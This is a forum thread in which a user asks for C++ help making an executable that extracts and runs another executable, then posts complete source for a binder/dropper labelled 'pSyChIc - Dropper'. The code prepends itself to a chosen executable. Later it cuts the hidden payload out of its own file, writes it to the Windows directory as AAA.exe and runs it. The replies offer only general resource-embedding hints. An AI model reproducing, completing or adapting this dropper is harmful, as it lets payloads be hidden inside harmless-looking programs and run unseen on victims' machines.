Output Exe File - Extract it from another Exe

Scripting's Avatar, Join Date: Jun 2010
John Hoder
Hello guys, I want to ask you for a little help.
I wand to find out how to make such a executable file (in C++), that if it is run, it will extract another executable Exe e.g to directory C:\\my_extracted_file.exe. And that my_extracted_file.exe should display some MessageBox, if it's run.


I hope, that someone will help me, I read alots of internet articles about this, but I failed...
Please don't post me some references, I can't understand it somehow. I would be very delighted if you show me some example code (C++).
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
I don't have the program in hand but can shed you the concept on how to get this done.

Create the exe file you want to be extracted.

Now Add that exe file as a resource to the other project and in some handler extract the resource as an executable file.
Scripting like this
Scripting's Avatar, Join Date: Jun 2010
John Hoder
Quote:
Originally Posted by shabbir View Post
I don't have the program in hand but can shed you the concept on how to get this done.

Create the exe file you want to be extracted.

Now Add that exe file as a resource to the other project and in some handler extract the resource as an executable file.
But how to add resource to other project? (Dev-C++). And how to extract resource
I know that it seems like i'm just stupid beginner, but I have done a good deal of work in C++,
but just can't get this, what you just explained me. But nevertheless thank you for reply...
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
I am not an expert in Dev-C++ but in MFC you can add the resource.
Scripting like this
Scripting's Avatar, Join Date: Jun 2010
John Hoder
Ok, so I found some "malicious" code, It creates some exe in windir, but that exe is empty, so if you can, please suggest me how to write to that file MessageBox function.

Here's the code:
Code:
#include <iostream.h>
#include <fstream.h>
#include <windows.h>
#include <string.h>
int write(int mysize,char *tpath,char *mybuf)
{
    int tsize = 0;
    ifstream tfile(tpath,ios::binary);
    tfile.seekg (0,ios::end);
    tsize = tfile.tellg(); 
    tfile.seekg (0,ios::beg); 
    char tbuf[tsize];    
    tfile.read(tbuf,tsize);     
    tfile.close();     
    ofstream outputfile(tpath,ios::binary);     
    outputfile.write(mybuf,mysize);     
    outputfile.write(tbuf,tsize);     
    outputfile.close();     
    cout<<tpath<<endl; 
};    
  
void extract(int mysize,char *target)
{     
      char windir[250];
      GetWindowsDirectory(windir,MAX_PATH);     
      ifstream tfile(target,ios::binary);     
      tfile.seekg (427646);     
      int theamount = mysize - 427646;     
      char tbuf[theamount];     
      tfile.read(tbuf,theamount);     
      tfile.close();     
      char mypath[100];     
      strcpy (mypath,windir);     
      strcat (mypath,"\\AAA.exe");     
      ofstream outfile(mypath,ios::binary);     
      outfile.write(tbuf,theamount);     
      outfile.close();     
      cout<<mypath;     
      system(mypath); };  
         
int checkit(int mysize,char *mybuf,char *target)
{     
      int checker = 0;     
      char tpath[512];      
      if (mysize != 427646)     
      {     
            extract(mysize,target);
      }         
      else     
      {     
            cout<<"pSyChIc - Dropper"<<endl;
            cout<<"Input file path"<<endl;
            cin>>tpath;
            write (mysize,tpath,mybuf);
      }             
};      

int main(int argc, char *argv[]) 
{ 
    long mysize;
    char *target;
    target= argv[0];
    ifstream myfile(argv[0],ios::binary);
    myfile.seekg (0,ios::end);
    mysize = myfile.tellg();
    myfile.seekg (0,ios::beg); 
    char mybuf[mysize]; 
    myfile.read(mybuf,mysize); 
    myfile.close();    
    checkit (mysize,mybuf,target);
}
Do not care about some Check func or any other parts

I think this will be easier and more compatible than ur previous idea, but that was good too, only problem is that i don't know how to work with MFC ..., so please help me with this .

Last edited by Scripting; 28Apr2011 at 16:40..
Scripting's Avatar, Join Date: Jun 2010
John Hoder
I don't quite understand that code, but I just need to add there that MessageBox function, that's all. Thank for all replies !
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
Try AfxMessageBox
Scripting's Avatar, Join Date: Jun 2010
John Hoder
As I told you previously, I can't use any Afx or similiar VC++ things, I use Dev-C++, so please suggest me some solution for the code i posted previously.
Scripting's Avatar, Join Date: Jun 2010
John Hoder
Damn, no one can solve this problem ...
Scripting's Avatar, Join Date: Jun 2010
John Hoder
go4noob, there is none expert, who could solve this problem ...